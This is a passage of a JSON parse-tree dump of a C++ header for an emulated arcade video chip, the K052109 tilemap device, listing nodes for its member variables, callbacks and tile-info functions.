"text": "rectangle", "parent": 258, "children": [], "start_point": {"row": 70, "column": 70}, "end_point": {"row": 70, "column": 79}}, {"id": 260, "type": "identifier", "text": "cliprect", "parent": 258, "children": [], "start_point": {"row": 70, "column": 81}, "end_point": {"row": 70, "column": 89}}, {"id": 261, "type": "parameter_declaration", "text": "int tmap_num", "parent": 251, "children": [262, 263], "start_point": {"row": 70, "column": 91}, "end_point": {"row": 70, "column": 103}}, {"id": 262, "type": "primitive_type", "text": "int", "parent": 261, "children": [], "start_point": {"row": 70, "column": 91}, "end_point": {"row": 70, "column": 94}}, {"id": 263, "type": "identifier", "text": "tmap_num", "parent": 261, "children": [], "start_point": {"row": 70, "column": 95}, "end_point": {"row": 70, "column": 103}}, {"id": 264, "type": "parameter_declaration", "text": "uint32_t flags", "parent": 251, "children": [265, 266], "start_point": {"row": 70, "column": 105}, "end_point": {"row": 70, "column": 119}}, {"id": 265, "type": "primitive_type", "text": "uint32_t", "parent": 264, "children": [], "start_point": {"row": 70, "column": 105}, "end_point": {"row": 70, "column": 113}}, {"id": 266, "type": "identifier", "text": "flags", "parent": 264, "children": [], "start_point": {"row": 70, "column": 114}, "end_point": {"row": 70, "column": 119}}, {"id": 267, "type": "parameter_declaration", "text": "uint8_t priority", "parent": 251, "children": [268, 269], "start_point": {"row": 70, "column": 121}, "end_point": {"row": 70, "column": 137}}, {"id": 268, "type": "primitive_type", "text": "uint8_t", "parent": 267, "children": [], "start_point": {"row": 70, "column": 121}, "end_point": {"row": 70, "column": 128}}, {"id": 269, "type": "identifier", "text": "priority", "parent": 267, "children": [], "start_point": {"row": 70, "column": 129}, "end_point": {"row": 70, "column": 137}}, {"id": 270, "type": "declaration", "text": "void vblank_callback(screen_device &screen, bool state);", "parent": 0, "children": [271, 272], "start_point": {"row": 72, "column": 1}, "end_point": {"row": 72, "column": 57}}, {"id": 271, "type": "primitive_type", "text": "void", "parent": 270, "children": [], "start_point": {"row": 72, "column": 1}, "end_point": {"row": 72, "column": 5}}, {"id": 272, "type": "function_declarator", "text": "vblank_callback(screen_device &screen, bool state)", "parent": 270, "children": [273, 274], "start_point": {"row": 72, "column": 6}, "end_point": {"row": 72, "column": 56}}, {"id": 273, "type": "identifier", "text": "vblank_callback", "parent": 272, "children": [], "start_point": {"row": 72, "column": 6}, "end_point": {"row": 72, "column": 21}}, {"id": 274, "type": "parameter_list", "text": "(screen_device &screen, bool state)", "parent": 272, "children": [275, 278], "start_point": {"row": 72, "column": 21}, "end_point": {"row": 72, "column": 56}}, {"id": 275, "type": "parameter_declaration", "text": "screen_device &screen", "parent": 274, "children": [276, 277], "start_point": {"row": 72, "column": 22}, "end_point": {"row": 72, "column": 43}}, {"id": 276, "type": "type_identifier", "text": "screen_device", "parent": 275, "children": [], "start_point": {"row": 72, "column": 22}, "end_point": {"row": 72, "column": 35}}, {"id": 277, "type": "identifier", "text": "screen", "parent": 275, "children": [], "start_point": {"row": 72, "column": 37}, "end_point": {"row": 72, "column": 43}}, {"id": 278, "type": "parameter_declaration", "text": "bool state", "parent": 274, "children": [279, 280], "start_point": {"row": 72, "column": 45}, "end_point": {"row": 72, "column": 55}}, {"id": 279, "type": "primitive_type", "text": "bool", "parent": 278, "children": [], "start_point": {"row": 72, "column": 45}, "end_point": {"row": 72, "column": 49}}, {"id": 280, "type": "identifier", "text": "state", "parent": 278, "children": [], "start_point": {"row": 72, "column": 50}, "end_point": {"row": 72, "column": 55}}, {"id": 281, "type": "labeled_statement", "text": "protected:\n\t// device-level overrides\n\tvirtual void device_start() override;", "parent": 0, "children": [282], "start_point": {"row": 74, "column": 0}, "end_point": {"row": 76, "column": 38}}, {"id": 282, "type": "ERROR", "text": "virtual void device_start() override", "parent": 281, "children": [283, 284, 286], "start_point": {"row": 76, "column": 1}, "end_point": {"row": 76, "column": 37}}, {"id": 283, "type": "type_identifier", "text": "virtual", "parent": 282, "children": [], "start_point": {"row": 76, "column": 1}, "end_point": {"row": 76, "column": 8}}, {"id": 284, "type": "ERROR", "text": "void", "parent": 282, "children": [285], "start_point": {"row": 76, "column": 9}, "end_point": {"row": 76, "column": 13}}, {"id": 285, "type": "identifier", "text": "void", "parent": 284, "children": [], "start_point": {"row": 76, "column": 9}, "end_point": {"row": 76, "column": 13}}, {"id": 286, "type": "function_declarator", "text": "device_start() override", "parent": 282, "children": [287, 288, 289], "start_point": {"row": 76, "column": 14}, "end_point": {"row": 76, "column": 37}}, {"id": 287, "type": "identifier", "text": "device_start", "parent": 286, "children": [], "start_point": {"row": 76, "column": 14}, "end_point": {"row": 76, "column": 26}}, {"id": 288, "type": "parameter_list", "text": "()", "parent": 286, "children": [], "start_point": {"row": 76, "column": 26}, "end_point": {"row": 76, "column": 28}}, {"id": 289, "type": "identifier", "text": "override", "parent": 286, "children": [], "start_point": {"row": 76, "column": 29}, "end_point": {"row": 76, "column": 37}}, {"id": 290, "type": "ERROR", "text": "virtual void device_reset() override", "parent": 0, "children": [291, 292, 294, 297], "start_point": {"row": 77, "column": 1}, "end_point": {"row": 77, "column": 37}}, {"id": 291, "type": "type_identifier", "text": "virtual", "parent": 290, "children": [], "start_point": {"row": 77, "column": 1}, "end_point": {"row": 77, "column": 8}}, {"id": 292, "type": "ERROR", "text": "void", "parent": 290, "children": [293], "start_point": {"row": 77, "column": 9}, "end_point": {"row": 77, "column": 13}}, {"id": 293, "type": "identifier", "text": "void", "parent": 292, "children": [], "start_point": {"row": 77, "column": 9}, "end_point": {"row": 77, "column": 13}}, {"id": 294, "type": "function_declarator", "text": "device_reset()", "parent": 290, "children": [295, 296], "start_point": {"row": 77, "column": 14}, "end_point": {"row": 77, "column": 28}}, {"id": 295, "type": "identifier", "text": "device_reset", "parent": 294, "children": [], "start_point": {"row": 77, "column": 14}, "end_point": {"row": 77, "column": 26}}, {"id": 296, "type": "parameter_list", "text": "()", "parent": 294, "children": [], "start_point": {"row": 77, "column": 26}, "end_point": {"row": 77, "column": 28}}, {"id": 297, "type": "type_identifier", "text": "override", "parent": 290, "children": [], "start_point": {"row": 77, "column": 29}, "end_point": {"row": 77, "column": 37}}, {"id": 298, "type": "labeled_statement", "text": "private:\n\t// internal state\n\tstd::unique_ptr<uint8_t[]> m_ram;", "parent": 0, "children": [299], "start_point": {"row": 79, "column": 0}, "end_point": {"row": 81, "column": 36}}, {"id": 299, "type": "labeled_statement", "text": "std::unique_ptr<uint8_t[]> m_ram;", "parent": 298, "children": [300], "start_point": {"row": 81, "column": 1}, "end_point": {"row": 81, "column": 36}}, {"id": 300, "type": "statement_identifier", "text": "std", "parent": 299, "children": [], "start_point": {"row": 81, "column": 1}, "end_point": {"row": 81, "column": 4}}, {"id": 301, "type": "binary_expression", "text": "unique_ptr<uint8_t[]> m_ram", "parent": 299, "children": [302, 308, 309], "start_point": {"row": 81, "column": 6}, "end_point": {"row": 81, "column": 35}}, {"id": 302, "type": "binary_expression", "text": "unique_ptr<uint8_t[]", "parent": 301, "children": [303, 304, 305], "start_point": {"row": 81, "column": 6}, "end_point": {"row": 81, "column": 26}}, {"id": 303, "type": "identifier", "text": "unique_ptr", "parent": 302, "children": [], "start_point": {"row": 81, "column": 6}, "end_point": {"row": 81, "column": 16}}, {"id": 304, "type": "<", "text": "<", "parent": 302, "children": [], "start_point": {"row": 81, "column": 16}, "end_point": {"row": 81, "column": 17}}, {"id": 305, "type": "subscript_expression", "text": "uint8_t[]", "parent": 302, "children": [306, 307], "start_point": {"row": 81, "column": 17}, "end_point": {"row": 81, "column": 26}}, {"id": 306, "type": "identifier", "text": "uint8_t", "parent": 305, "children": [], "start_point": {"row": 81, "column": 17}, "end_point": {"row": 81, "column": 24}}, {"id": 307, "type": "identifier", "text": "", "parent": 305, "children": [], "start_point": {"row": 81, "column": 25}, "end_point": {"row": 81, "column": 25}}, {"id": 308, "type": ">", "text": ">", "parent": 301, "children": [], "start_point": {"row": 81, "column": 26}, "end_point": {"row": 81, "column": 27}}, {"id": 309, "type": "identifier", "text": "m_ram", "parent": 301, "children": [], "start_point": {"row": 81, "column": 30}, "end_point": {"row": 81, "column": 35}}, {"id": 310, "type": "declaration", "text": "uint8_t *m_videoram_F;", "parent": 0, "children": [311, 312], "start_point": {"row": 82, "column": 1}, "end_point": {"row": 82, "column": 26}}, {"id": 311, "type": "primitive_type", "text": "uint8_t", "parent": 310, "children": [], "start_point": {"row": 82, "column": 1}, "end_point": {"row": 82, "column": 8}}, {"id": 312, "type": "pointer_declarator", "text": "*m_videoram_F", "parent": 310, "children": [313, 314], "start_point": {"row": 82, "column": 12}, "end_point": {"row": 82, "column": 25}}, {"id": 313, "type": "*", "text": "*", "parent": 312, "children": [], "start_point": {"row": 82, "column": 12}, "end_point": {"row": 82, "column": 13}}, {"id": 314, "type": "identifier", "text": "m_videoram_F", "parent": 312, "children": [], "start_point": {"row": 82, "column": 13}, "end_point": {"row": 82, "column": 25}}, {"id": 315, "type": "declaration", "text": "uint8_t *m_videoram_A;", "parent": 0, "children": [316, 317], "start_point": {"row": 83, "column": 1}, "end_point": {"row": 83, "column": 26}}, {"id": 316, "type": "primitive_type", "text": "uint8_t", "parent": 315, "children": [], "start_point": {"row": 83, "column": 1}, "end_point": {"row": 83, "column": 8}}, {"id": 317, "type": "pointer_declarator", "text": "*m_videoram_A", "parent": 315, "children": [318, 319], "start_point": {"row": 83, "column": 12}, "end_point": {"row": 83, "column": 25}}, {"id": 318, "type": "*", "text": "*", "parent": 317, "children": [], "start_point": {"row": 83, "column": 12}, "end_point": {"row": 83, "column": 13}}, {"id": 319, "type": "identifier", "text": "m_videoram_A", "parent": 317, "children": [], "start_point": {"row": 83, "column": 13}, "end_point": {"row": 83, "column": 25}}, {"id": 320, "type": "declaration", "text": "uint8_t *m_videoram_B;", "parent": 0, "children": [321, 322], "start_point": {"row": 84, "column": 1}, "end_point": {"row": 84, "column": 26}}, {"id": 321, "type": "primitive_type", "text": "uint8_t", "parent": 320, "children": [], "start_point": {"row": 84, "column": 1}, "end_point": {"row": 84, "column": 8}}, {"id": 322, "type": "pointer_declarator", "text": "*m_videoram_B", "parent": 320, "children": [323, 324], "start_point": {"row": 84, "column": 12}, "end_point": {"row": 84, "column": 25}}, {"id": 323, "type": "*", "text": "*", "parent": 322, "children": [], "start_point": {"row": 84, "column": 12}, "end_point": {"row": 84, "column": 13}}, {"id": 324, "type": "identifier", "text": "m_videoram_B", "parent": 322, "children": [], "start_point": {"row": 84, "column": 13}, "end_point": {"row": 84, "column": 25}}, {"id": 325, "type": "declaration", "text": "uint8_t *m_videoram2_F;", "parent": 0, "children": [326, 327], "start_point": {"row": 85, "column": 1}, "end_point": {"row": 85, "column": 27}}, {"id": 326, "type": "primitive_type", "text": "uint8_t", "parent": 325, "children": [], "start_point": {"row": 85, "column": 1}, "end_point": {"row": 85, "column": 8}}, {"id": 327, "type": "pointer_declarator", "text": "*m_videoram2_F", "parent": 325, "children": [328, 329], "start_point": {"row": 85, "column": 12}, "end_point": {"row": 85, "column": 26}}, {"id": 328, "type": "*", "text": "*", "parent": 327, "children": [], "start_point": {"row": 85, "column": 12}, "end_point": {"row": 85, "column": 13}}, {"id": 329, "type": "identifier", "text": "m_videoram2_F", "parent": 327, "children": [], "start_point": {"row": 85, "column": 13}, "end_point": {"row": 85, "column": 26}}, {"id": 330, "type": "declaration", "text": "uint8_t *m_videoram2_A;", "parent": 0, "children": [331, 332], "start_point": {"row": 86, "column": 1}, "end_point": {"row": 86, "column": 27}}, {"id": 331, "type": "primitive_type", "text": "uint8_t", "parent": 330, "children": [], "start_point": {"row": 86, "column": 1}, "end_point": {"row": 86, "column": 8}}, {"id": 332, "type": "pointer_declarator", "text": "*m_videoram2_A", "parent": 330, "children": [333, 334], "start_point": {"row": 86, "column": 12}, "end_point": {"row": 86, "column": 26}}, {"id": 333, "type": "*", "text": "*", "parent": 332, "children": [], "start_point": {"row": 86, "column": 12}, "end_point": {"row": 86, "column": 13}}, {"id": 334, "type": "identifier", "text": "m_videoram2_A", "parent": 332, "children": [], "start_point": {"row": 86, "column": 13}, "end_point": {"row": 86, "column": 26}}, {"id": 335, "type": "declaration", "text": "uint8_t *m_videoram2_B;", "parent": 0, "children": [336, 337], "start_point": {"row": 87, "column": 1}, "end_point": {"row": 87, "column": 27}}, {"id": 336, "type": "primitive_type", "text": "uint8_t", "parent": 335, "children": [], "start_point": {"row": 87, "column": 1}, "end_point": {"row": 87, "column": 8}}, {"id": 337, "type": "pointer_declarator", "text": "*m_videoram2_B", "parent": 335, "children": [338, 339], "start_point": {"row": 87, "column": 12}, "end_point": {"row": 87, "column": 26}}, {"id": 338, "type": "*", "text": "*", "parent": 337, "children": [], "start_point": {"row": 87, "column": 12}, "end_point": {"row": 87, "column": 13}}, {"id": 339, "type": "identifier", "text": "m_videoram2_B", "parent": 337, "children": [], "start_point": {"row": 87, "column": 13}, "end_point": {"row": 87, "column": 26}}, {"id": 340, "type": "declaration", "text": "uint8_t *m_colorram_F;", "parent": 0, "children": [341, 342], "start_point": {"row": 88, "column": 1}, "end_point": {"row": 88, "column": 26}}, {"id": 341, "type": "primitive_type", "text": "uint8_t", "parent": 340, "children": [], "start_point": {"row": 88, "column": 1}, "end_point": {"row": 88, "column": 8}}, {"id": 342, "type": "pointer_declarator", "text": "*m_colorram_F", "parent": 340, "children": [343, 344], "start_point": {"row": 88, "column": 12}, "end_point": {"row": 88, "column": 25}}, {"id": 343, "type": "*", "text": "*", "parent": 342, "children": [], "start_point": {"row": 88, "column": 12}, "end_point": {"row": 88, "column": 13}}, {"id": 344, "type": "identifier", "text": "m_colorram_F", "parent": 342, "children": [], "start_point": {"row": 88, "column": 13}, "end_point": {"row": 88, "column": 25}}, {"id": 345, "type": "declaration", "text": "uint8_t *m_colorram_A;", "parent": 0, "children": [346, 347], "start_point": {"row": 89, "column": 1}, "end_point": {"row": 89, "column": 26}}, {"id": 346, "type": "primitive_type", "text": "uint8_t", "parent": 345, "children": [], "start_point": {"row": 89, "column": 1}, "end_point": {"row": 89, "column": 8}}, {"id": 347, "type": "pointer_declarator", "text": "*m_colorram_A", "parent": 345, "children": [348, 349], "start_point": {"row": 89, "column": 12}, "end_point": {"row": 89, "column": 25}}, {"id": 348, "type": "*", "text": "*", "parent": 347, "children": [], "start_point": {"row": 89, "column": 12}, "end_point": {"row": 89, "column": 13}}, {"id": 349, "type": "identifier", "text": "m_colorram_A", "parent": 347, "children": [], "start_point": {"row": 89, "column": 13}, "end_point": {"row": 89, "column": 25}}, {"id": 350, "type": "declaration", "text": "uint8_t *m_colorram_B;", "parent": 0, "children": [351, 352], "start_point": {"row": 90, "column": 1}, "end_point": {"row": 90, "column": 26}}, {"id": 351, "type": "primitive_type", "text": "uint8_t", "parent": 350, "children": [], "start_point": {"row": 90, "column": 1}, "end_point": {"row": 90, "column": 8}}, {"id": 352, "type": "pointer_declarator", "text": "*m_colorram_B", "parent": 350, "children": [353, 354], "start_point": {"row": 90, "column": 12}, "end_point": {"row": 90, "column": 25}}, {"id": 353, "type": "*", "text": "*", "parent": 352, "children": [], "start_point": {"row": 90, "column": 12}, "end_point": {"row": 90, "column": 13}}, {"id": 354, "type": "identifier", "text": "m_colorram_B", "parent": 352, "children": [], "start_point": {"row": 90, "column": 13}, "end_point": {"row": 90, "column": 25}}, {"id": 355, "type": "declaration", "text": "tilemap_t *m_tilemap[3];", "parent": 0, "children": [356, 357], "start_point": {"row": 92, "column": 1}, "end_point": {"row": 92, "column": 26}}, {"id": 356, "type": "type_identifier", "text": "tilemap_t", "parent": 355, "children": [], "start_point": {"row": 92, "column": 1}, "end_point": {"row": 92, "column": 10}}, {"id": 357, "type": "pointer_declarator", "text": "*m_tilemap[3]", "parent": 355, "children": [358, 359], "start_point": {"row": 92, "column": 12}, "end_point": {"row": 92, "column": 25}}, {"id": 358, "type": "*", "text": "*", "parent": 357, "children": [], "start_point": {"row": 92, "column": 12}, "end_point": {"row": 92, "column": 13}}, {"id": 359, "type": "array_declarator", "text": "m_tilemap[3]", "parent": 357, "children": [360, 361], "start_point": {"row": 92, "column": 13}, "end_point": {"row": 92, "column": 25}}, {"id": 360, "type": "identifier", "text": "m_tilemap", "parent": 359, "children": [], "start_point": {"row": 92, "column": 13}, "end_point": {"row": 92, "column": 22}}, {"id": 361, "type": "number_literal", "text": "3", "parent": 359, "children": [], "start_point": {"row": 92, "column": 23}, "end_point": {"row": 92, "column": 24}}, {"id": 362, "type": "declaration", "text": "int m_tileflip_enable;", "parent": 0, "children": [363, 364], "start_point": {"row": 93, "column": 1}, "end_point": {"row": 93, "column": 28}}, {"id": 363, "type": "primitive_type", "text": "int", "parent": 362, "children": [], "start_point": {"row": 93, "column": 1}, "end_point": {"row": 93, "column": 4}}, {"id": 364, "type": "identifier", "text": "m_tileflip_enable", "parent": 362, "children": [], "start_point": {"row": 93, "column": 10}, "end_point": {"row": 93, "column": 27}}, {"id": 365, "type": "declaration", "text": "uint8_t m_charrombank[4];", "parent": 0, "children": [366, 367], "start_point": {"row": 94, "column": 1}, "end_point": {"row": 94, "column": 29}}, {"id": 366, "type": "primitive_type", "text": "uint8_t", "parent": 365, "children": [], "start_point": {"row": 94, "column": 1}, "end_point": {"row": 94, "column": 8}}, {"id": 367, "type": "array_declarator", "text": "m_charrombank[4]", "parent": 365, "children": [368, 369], "start_point": {"row": 94, "column": 12}, "end_point": {"row": 94, "column": 28}}, {"id": 368, "type": "identifier", "text": "m_charrombank", "parent": 367, "children": [], "start_point": {"row": 94, "column": 12}, "end_point": {"row": 94, "column": 25}}, {"id": 369, "type": "number_literal", "text": "4", "parent": 367, "children": [], "start_point": {"row": 94, "column": 26}, "end_point": {"row": 94, "column": 27}}, {"id": 370, "type": "declaration", "text": "uint8_t m_charrombank_2[4];", "parent": 0, "children": [371, 372], "start_point": {"row": 95, "column": 1}, "end_point": {"row": 95, "column": 31}}, {"id": 371, "type": "primitive_type", "text": "uint8_t", "parent": 370, "children": [], "start_point": {"row": 95, "column": 1}, "end_point": {"row": 95, "column": 8}}, {"id": 372, "type": "array_declarator", "text": "m_charrombank_2[4]", "parent": 370, "children": [373, 374], "start_point": {"row": 95, "column": 12}, "end_point": {"row": 95, "column": 30}}, {"id": 373, "type": "identifier", "text": "m_charrombank_2", "parent": 372, "children": [], "start_point": {"row": 95, "column": 12}, "end_point": {"row": 95, "column": 27}}, {"id": 374, "type": "number_literal", "text": "4", "parent": 372, "children": [], "start_point": {"row": 95, "column": 28}, "end_point": {"row": 95, "column": 29}}, {"id": 375, "type": "declaration", "text": "uint8_t m_has_extra_video_ram;", "parent": 0, "children": [376, 377], "start_point": {"row": 96, "column": 1}, "end_point": {"row": 96, "column": 34}}, {"id": 376, "type": "primitive_type", "text": "uint8_t", "parent": 375, "children": [], "start_point": {"row": 96, "column": 1}, "end_point": {"row": 96, "column": 8}}, {"id": 377, "type": "identifier", "text": "m_has_extra_video_ram", "parent": 375, "children": [], "start_point": {"row": 96, "column": 12}, "end_point": {"row": 96, "column": 33}}, {"id": 378, "type": "declaration", "text": "int32_t m_rmrd_line;", "parent": 0, "children": [379, 380], "start_point": {"row": 97, "column": 1}, "end_point": {"row": 97, "column": 24}}, {"id": 379, "type": "primitive_type", "text": "int32_t", "parent": 378, "children": [], "start_point": {"row": 97, "column": 1}, "end_point": {"row": 97, "column": 8}}, {"id": 380, "type": "identifier", "text": "m_rmrd_line", "parent": 378, "children": [], "start_point": {"row": 97, "column": 12}, "end_point": {"row": 97, "column": 23}}, {"id": 381, "type": "declaration", "text": "uint8_t m_irq_enabled;", "parent": 0, "children": [382, 383], "start_point": {"row": 98, "column": 1}, "end_point": {"row": 98, "column": 26}}, {"id": 382, "type": "primitive_type", "text": "uint8_t", "parent": 381, "children": [], "start_point": {"row": 98, "column": 1}, "end_point": {"row": 98, "column": 8}}, {"id": 383, "type": "identifier", "text": "m_irq_enabled", "parent": 381, "children": [], "start_point": {"row": 98, "column": 12}, "end_point": {"row": 98, "column": 25}}, {"id": 384, "type": "declaration", "text": "uint8_t m_romsubbank, m_scrollctrl;", "parent": 0, "children": [385, 386, 387], "start_point": {"row": 99, "column": 1}, "end_point": {"row": 99, "column": 39}}, {"id": 385, "type": "primitive_type", "text": "uint8_t", "parent": 384, "children": [], "start_point": {"row": 99, "column": 1}, "end_point": {"row": 99, "column": 8}}, {"id": 386, "type": "identifier", "text": "m_romsubbank", "parent": 384, "children": [], "start_point": {"row": 99, "column": 12}, "end_point": {"row": 99, "column": 24}}, {"id": 387, "type": "identifier", "text": "m_scrollctrl", "parent": 384, "children": [], "start_point": {"row": 99, "column": 26}, "end_point": {"row": 99, "column": 38}}, {"id": 388, "type": "binary_expression", "text": "optional_region_ptr<uint8_t> m_char_rom", "parent": 0, "children": [389, 393, 394], "start_point": {"row": 101, "column": 1}, "end_point": {"row": 101, "column": 40}}, {"id": 389, "type": "binary_expression", "text": "optional_region_ptr<uint8_t", "parent": 388, "children": [390, 391, 392], "start_point": {"row": 101, "column": 1}, "end_point": {"row": 101, "column": 28}}, {"id": 390, "type": "identifier", "text": "optional_region_ptr", "parent": 389, "children": [], "start_point": {"row": 101, "column": 1}, "end_point": {"row": 101, "column": 20}}, {"id": 391, "type": "<", "text": "<", "parent": 389, "children": [], "start_point": {"row": 101, "column": 20}, "end_point": {"row": 101, "column": 21}}, {"id": 392, "type": "identifier", "text": "uint8_t", "parent": 389, "children": [], "start_point": {"row": 101, "column": 21}, "end_point": {"row": 101, "column": 28}}, {"id": 393, "type": ">", "text": ">", "parent": 388, "children": [], "start_point": {"row": 101, "column": 28}, "end_point": {"row": 101, "column": 29}}, {"id": 394, "type": "identifier", "text": "m_char_rom", "parent": 388, "children": [], "start_point": {"row": 101, "column": 30}, "end_point": {"row": 101, "column": 40}}, {"id": 395, "type": "binary_expression", "text": "optional_device<screen_device> m_screen", "parent": 0, "children": [396, 400, 401], "start_point": {"row": 103, "column": 1}, "end_point": {"row": 103, "column": 40}}, {"id": 396, "type": "binary_expression", "text": "optional_device<screen_device", "parent": 395, "children": [397, 398, 399], "start_point": {"row": 103, "column": 1}, "end_point": {"row": 103, "column": 30}}, {"id": 397, "type": "identifier", "text": "optional_device", "parent": 396, "children": [], "start_point": {"row": 103, "column": 1}, "end_point": {"row": 103, "column": 16}}, {"id": 398, "type": "<", "text": "<", "parent": 396, "children": [], "start_point": {"row": 103, "column": 16}, "end_point": {"row": 103, "column": 17}}, {"id": 399, "type": "identifier", "text": "screen_device", "parent": 396, "children": [], "start_point": {"row": 103, "column": 17}, "end_point": {"row": 103, "column": 30}}, {"id": 400, "type": ">", "text": ">", "parent": 395, "children": [], "start_point": {"row": 103, "column": 30}, "end_point": {"row": 103, "column": 31}}, {"id": 401, "type": "identifier", "text": "m_screen", "parent": 395, "children": [], "start_point": {"row": 103, "column": 32}, "end_point": {"row": 103, "column": 40}}, {"id": 402, "type": "declaration", "text": "k052109_cb_delegate m_k052109_cb;", "parent": 0, "children": [403, 404], "start_point": {"row": 105, "column": 1}, "end_point": {"row": 105, "column": 34}}, {"id": 403, "type": "type_identifier", "text": "k052109_cb_delegate", "parent": 402, "children": [], "start_point": {"row": 105, "column": 1}, "end_point": {"row": 105, "column": 20}}, {"id": 404, "type": "identifier", "text": "m_k052109_cb", "parent": 402, "children": [], "start_point": {"row": 105, "column": 21}, "end_point": {"row": 105, "column": 33}}, {"id": 405, "type": "declaration", "text": "devcb_write_line m_irq_handler;", "parent": 0, "children": [406, 407], "start_point": {"row": 107, "column": 1}, "end_point": {"row": 107, "column": 32}}, {"id": 406, "type": "type_identifier", "text": "devcb_write_line", "parent": 405, "children": [], "start_point": {"row": 107, "column": 1}, "end_point": {"row": 107, "column": 17}}, {"id": 407, "type": "identifier", "text": "m_irq_handler", "parent": 405, "children": [], "start_point": {"row": 107, "column": 18}, "end_point": {"row": 107, "column": 31}}, {"id": 408, "type": "declaration", "text": "devcb_write_line m_firq_handler;", "parent": 0, "children": [409, 410], "start_point": {"row": 108, "column": 1}, "end_point": {"row": 108, "column": 33}}, {"id": 409, "type": "type_identifier", "text": "devcb_write_line", "parent": 408, "children": [], "start_point": {"row": 108, "column": 1}, "end_point": {"row": 108, "column": 17}}, {"id": 410, "type": "identifier", "text": "m_firq_handler", "parent": 408, "children": [], "start_point": {"row": 108, "column": 18}, "end_point": {"row": 108, "column": 32}}, {"id": 411, "type": "declaration", "text": "devcb_write_line m_nmi_handler;", "parent": 0, "children": [412, 413], "start_point": {"row": 109, "column": 1}, "end_point": {"row": 109, "column": 32}}, {"id": 412, "type": "type_identifier", "text": "devcb_write_line", "parent": 411, "children": [], "start_point": {"row": 109, "column": 1}, "end_point": {"row": 109, "column": 17}}, {"id": 413, "type": "identifier", "text": "m_nmi_handler", "parent": 411, "children": [], "start_point": {"row": 109, "column": 18}, "end_point": {"row": 109, "column": 31}}, {"id": 414, "type": "call_expression", "text": "TILE_GET_INFO_MEMBER(get_tile_info0)", "parent": 0, "children": [415, 416], "start_point": {"row": 111, "column": 1}, "end_point": {"row": 111, "column": 37}}, {"id": 415, "type": "identifier", "text": "TILE_GET_INFO_MEMBER", "parent": 414, "children": [], "start_point": {"row": 111, "column": 1}, "end_point": {"row": 111, "column": 21}}, {"id": 416, "type": "argument_list", "text": "(get_tile_info0)", "parent": 414, "children": [417], "start_point": {"row": 111, "column": 21}, "end_point": {"row": 111, "column": 37}}, {"id": 417, "type": "identifier", "text": "get_tile_info0", "parent": 416, "children": [], "start_point": {"row": 111, "column": 22}, "end_point": {"row": 111, "column": 36}}, {"id": 418, "type": "call_expression", "text": "TILE_GET_INFO_MEMBER(get_tile_info1)", "parent": 0, "children": [419, 420], "start_point": {"row": 112, "column": 1}, "end_point": {"row": 112, "column": 37}}, {"id": 419, "type": "identifier", "text": "TILE_GET_INFO_MEMBER", "parent": 418, "children": [], "start_point": {"row": 112, "column": 1}, "end_point": {"row": 112, "column": 21}}, {"id": 420, "type": "argument_list", "text": "(get_tile_info1)", "parent": 418, "children": [421], "start_point": {"row": 112, "column": 21}, "end_point": {"row": 112, "column": 37}}, {"id": 421, "type": "identifier", "text": "get_tile_info1", "parent": 420, "children": [], "start_point": {"row": 112, "column": 22}, "end_point": {"row": 112, "column": 36}}, {"id": 422, "type": "call_expression", "text": "TILE_GET_INFO_MEMBER(get_tile_info2)", "parent": 0, "children": [423, 424], "start_point": {"row": 113, "column": 1}, "end_point": {"row": 113, "column": 37}}, {"id": 423, "type": "identifier", "text": "TILE_GET_INFO_MEMBER", "parent": 422, "children": [], "start_point": {"row": 113, "column": 1}, "end_point": {"row": 113, "column": 21}}, {"id": 424, "type": "argument_list", "text": "(get_tile_info2)", "parent": 422, "children": [425], "start_point": {"row": 113, "column": 21}, "end_point": {"row": 113, "column": 37}}, {"id": 425, "type": "identifier", "text": "get_tile_info2", "parent": 424, "children": [], "start_point": {"row": 113, "column": 22}, "end_point": {"row": 113, "column": 36}}, {"id": 426, "type": "declaration", "text": "void get_tile_info( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 );", "parent": 0, "children": [427, 428], "start_point": {"row": 115, "column": 1}, "end_point": {"row": 115, "column": 117}}, {"id": 427, "type": "primitive_type", "text": "void", "parent": 426, "children": [], "start_point": {"row": 115, "column": 1}, "end_point": {"row": 115, "column": 5}}, {"id": 428, "type": "function_declarator", "text": "get_tile_info( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 )", "parent": 426, "children": [429, 430], "start_point": {"row": 115, "column": 6}, "end_point": {"row": 115, "column": 116}}, {"id": 429, "type": "identifier", "text": "get_tile_info", "parent": 428, "children": [], "start_point": {"row": 115, "column": 6}, "end_point": {"row": 115, "column": 19}}, {"id": 430, "type": "parameter_list", "text": "( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 )", "parent": 428, "children": [431, 434, 437, 440, 445, 450], "start_point": {"row": 115, "column": 19}, "end_point": {"row": 115, "column": 116}}, {"id": 431, "type": "parameter_declaration", "text": "tile_data &tileinfo", "parent": 430, "children": [432, 433], "start_point": {"row": 115, "column": 21}, "end_point": {"row": 115, "column": 40}}, {"id": 432, "type": "type_identifier", "text": "tile_data", "parent": 431, "children": [], "start_point": {"row": 115, "column": 21}, "end_point": {"row": 115, "column": 30}}, {"id": 433, "type": "identifier", "text": "tileinfo", "parent": 431, "children": [], "start_point": {"row": 115, "column": 32}, "end_point": {"row": 115, "column": 40}}, {"id": 434, "type": "parameter_declaration", "text": "int tile_index", "parent": 430, "children": [435, 436], "start_point": {"row": 115, "column": 42}, "end_point": {"row": 115, "column": 56}}, {"id": 435, "type": "primitive_type", "text": "int", "parent": 434, "children": [], "start_point": {"row": 115, "column": 42}, "end_point": {"row": 115, "column": 45}}, {"id": 436, "type": "identifier", "text": "tile_index", "parent": 434, "children": [], "start_point": {"row": 115, "column": 46}, "end_point": {"row": 115, "column": 56}}, {"id": 437, "type": "parameter_declaration", "text": "int layer", "parent": 430, "children": [438, 439], "start_point": {"row": 115, "column": 58}, "end_point": {"row": 115, "column": 67}}, {"id": 438, "type": "primitive_type", "text": "int", "parent": 437, "children": [], "start_point": {"row": 115, "column": 58}, "end_point": {"row": 115, "column": 61}}, {"id": 439, "type": "identifier", "text": "layer", "parent": 437, "children": [], "start_point": {"row": 115, "column": 62}, "end_point": {"row": 115, "column": 67}}, {"id": 440, "type": "parameter_declaration", "text": "uint8_t *cram", "parent": 430, "children": [441, 442], "start_point": {"row": 115, "column": 69}, "end_point": {"row": 115, "column": 82}}, {"id": 441, "type": "primitive_type", "text": "uint8_t", "parent": 440, "children": [], "start_point": {"row": 115, "column": 69}, "end_point": {"row": 115, "column": 76}}, {"id": 442, 